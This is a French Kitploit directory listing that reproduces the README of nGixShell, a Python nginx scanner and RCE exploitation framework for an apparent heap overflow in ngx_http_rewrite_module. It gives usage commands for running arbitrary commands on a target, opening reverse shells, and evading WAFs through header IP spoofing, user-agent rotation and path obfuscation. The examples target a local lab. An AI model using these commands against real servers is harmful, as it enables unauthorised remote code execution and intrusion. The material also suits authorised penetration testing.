Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nGixshell — scanner de CVE nginx + framework d'exploitation RCE (CVE-2026-42945 + 16 autres) | Kitploit
Outils/GitHubGitHub/mateusverass/ngixshell
ReconnaissanceScanners de VulnérabilitésFrameworks d'ExploitationExploitation d'Applications WebContournement de WAFSécurité WebTests d'IntrusionCommandement et ContrôleÉnumération de Sous-domainesRed TeamingDéveloppement de Charges Utiles
21832il y a 3 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubmateusverass/ngixshell

nGixshell

scanner de CVE nginx + framework d'exploitation RCE (CVE-2026-42945 + 16 autres)

Voir le dépôt
Partager
nGixShell

Python CVEs Zero deps License


nGixShell est un scanner de CVE nginx et un framework d'exploitation RCE. Il embarque une preuve de concept pour CVE-2026-42945 (CVSS 3.1 8.1 HIGH selon F5/NVD) — un débordement de tampon sur le tas dans ngx_http_rewrite_module — et un scanner couvrant 64 CVE nginx avec sondes HTTP automatisées, fingerprinting, détection/contournement de WAF, audit de sécurité web et génération de rapports.

Aucune dépendance externe. Uniquement la bibliothèque standard de Python 3.

Prérequis pour l'exploit (à lire en premier). --cmd / --shell ne fonctionnent que si toutes ces conditions sont réunies : la cible est en x86_64, la configuration vulnérable rewrite+set est présente, l'ASLR est désactivée, et les adresses du tas/libc ont été calibrées pour ce build exact (calibrate.py → --build-file). Voir Prérequis pour l'exploit. Le scanner lui-même n'a pas de telles exigences.


Démarrage rapide

# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build

# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321

# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
    --spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
    --build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Aucun flag requis — pointer l'outil vers une cible exécute tout automatiquement.
Le TLS est détecté automatiquement. nginx est fingerprinté même avec server_tokens off.

system() ne capture pas stdout : --cmd 'id' s'exécute mais n'affiche rien en retour. Utilisez une commande avec un effet de bord observable et confirmez-le avec --verify-url http://target/pwned (HTTP 200 = confirmé).


Utilisation

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modes

FlagDescription
(aucun)Auto — fingerprint + scan CVE + audit web
--cmd 'CMD'Exécuter une commande via la RCE CVE-2026-42945
--cmd-file FILEExécuter des commandes depuis un fichier (jointes avec ;)
--shellOuvrir un reverse shell
--shell-type TYPEPayload : bash python perl php nc powershell (défaut : python)
--upgrade-shellEnvoyer automatiquement la mise à niveau PTY après connexion du shell
--verify-url URLAprès un crash détecté, récupérer l'URL pour confirmer l'exécution de la commande (200 = vérifié)
--subdomain-scan DOMAINTrouver un nginx vulnérable sur les sous-domaines
--cve CVE-IDTester une CVE spécifique
--list-cvesAfficher les 64 CVE avec CVSS et infos de sonde
--list-candidatesAfficher les candidats d'adresses du tas
--dry-runFingerprint + scan uniquement, sans exploit
--target-file FILEScanner plusieurs hôtes depuis un fichier

Réglage de l'exploit

FlagDescription
--build-file FILERecommandé. Profil de calibration JSON issu de calibrate.py --json -o FILE
--offsets SPECDécalages hexadécimaux du tas séparés par des virgules, issus de calibrate.py (ex. 0x5a427,0x60e67)
--heap-base HEX / --libc-base HEX / --system-addr HEXSurcharges manuelles d'adresses
--build KEYProfil intégré (seule la référence du lab DepthFirst est fournie)
--rewrite-path PATHEmplacement rewrite vulnérable (défaut /api)
--spray-path PATHEmplacement adossé à proxy_pass utilisé pour le spray du corps POST (défaut /upload ; le lab fourni utilise /spray)
--spray-mode partial|fullpartial : corps court + Content-Length élevé (lab fourni) ; full : corps complet + X-Delay (lab DepthFirst)
--pad-a N / --pad-plus NRemplissage du chemin de déclenchement avant la séquence + (défauts 349 / 969, d'après le PoC du fournisseur)
--continue-on-crashContinuer à essayer les candidats de tas restants après un crash non vérifié
--tries N / --spray N / --body-len NTentatives de déclenchement par candidat / connexions de spray / taille du corps de spray

Détection et contournement de WAF

FlagDescription
--waf-detectDétecter le WAF avant le scan
--waf-bypassActiver toutes les techniques de contournement (lance aussi la détection)
--waf-ip IPUsurper cette IP dans les en-têtes de contournement (défaut : RFC1918 aléatoire)

Techniques de contournement (toutes actives quand --waf-bypass est défini) :

TechniqueDétail
Usurpation d'IPX-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
Rotation d'UA11 User-Agents réels de navigateurs/bots, randomisés à chaque requête
Obfuscation de chemindouble-slash, remplissage /./, encodage en pourcentage, variation de casse
Mélange de casse des en-têtesrandomise la casse des noms d'en-têtes pour casser la correspondance de motifs du WAF

WAF détectés : Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Audit web

S'exécute automatiquement en mode scan. Tous les modules peuvent être ignorés individuellement.

FlagDescription
--skip-headersIgnorer l'audit des en-têtes de sécurité HTTP
--skip-pathsIgnorer la découverte de chemins/fichiers
--skip-vhostsIgnorer l'énumération des hôtes virtuels
--skip-tlsIgnorer l'audit du protocole TLS
--path-wordlist FILEChemins supplémentaires à sonder (un par ligne)
  • Audit des en-têtes — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, en-têtes fuitant la version
  • Découverte de chemins — 50+ chemins ; une sonde sentinelle élimine les faux positifs des règles catch-all 403/301
  • Énumération des hôtes virtuels — nécessite un diff de statut ET de corps pour éviter les faux positifs de blocage par défaut
  • Audit TLS — teste le support de TLS 1.0–1.3, l'expiration du certificat et la détection d'auto-signé
  • stub_status — analyse les métriques de connexions actives depuis /nginx_status s'il est exposé

Connexion

FlagDescription
--port PORTSurcharger le port
--tlsForcer TLS (détecté automatiquement par défaut)
--proxy URLProxy : http://, https://, socks5://

HTTP

Télécharger l’outil